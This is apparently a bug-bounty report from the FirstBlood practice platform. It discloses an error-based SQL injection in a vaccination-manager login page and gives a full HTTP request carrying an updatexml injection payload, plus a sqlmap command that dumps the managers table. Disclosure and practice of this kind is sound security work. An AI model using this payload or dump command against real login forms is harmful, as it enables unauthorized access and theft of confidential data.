FirstBlood-#375 — Error-based SQL injection
This issue was discovered on FirstBlood v2

On 2021-10-25, r0x61tremy Level 3 reported:

Insufficient filtering of the "password" parameter is performed in the login functionality in the vaccination manager panel. Due to insufficient filtering, any external attacker can exploit SQL injection. To demonstrate the vulnerability, I received some confidential data.

Steps for reproduce:

  1. Send the request below and you will see the current version of database 
    POST /vaccination-manager/login.php HTTP/1.1
Host: 762579af969e-r0x61tremy.a.firstbloodhackers.com
Cookie: doctorAuthed=eyJkb2N0b3JBdXRoIjphdXRoZWR9
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
username=admin&password=a' and updatexml(null,concat(0x0a,version()),null)-- -
  2. You can use sqlmap for faster getting info from database sqlmap -r r.txt -p password -D firstblood -T vaccination_managers --dump, where r.txt file with vulnerable request.

P1 CRITICAL

Endpoint: /vaccination-manager/login.php

Parameter: POST password

Payload: a' and updatexml(null,concat(0x0a,version()),null)-- -

FirstBlood ID: 30
Vulnerability Type: SQL Injection

There is an SQL injection on the vaccination management portal login page which results in the user being able to login as the administrator.